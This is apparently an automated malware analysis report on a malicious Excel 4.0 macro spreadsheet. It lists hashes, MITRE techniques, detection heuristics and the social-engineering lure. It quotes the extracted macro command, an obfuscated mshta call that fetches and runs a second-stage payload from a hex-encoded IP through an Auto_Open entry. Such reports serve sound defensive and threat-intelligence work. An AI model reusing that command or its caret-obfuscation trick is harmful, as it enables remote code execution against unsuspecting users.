Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 2f99eaf0abd4c30c…

MALICIOUS

Office (OLE) / .XLS

65.7 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 782168fa20bf75448bccaca5a41c167e SHA-1: 62efa47ba2899bb8991ac756c47dc7310718480f SHA-256: 2f99eaf0abd4c30c10a834b46847df84fe0640cb9abc61285dc3e8c861fd9c3e
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an 'Auto_Open' entry point to execute a command. The document body contains a lure instructing the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common social engineering tactic. The extracted XLM macro explicitly defines a string 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html' and assigns it to the name 'lll'. This command likely downloads and executes a second-stage payload from the specified URL. The obfuscation 'm^sh^t^a' is likely intended to bypass simple string detection.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes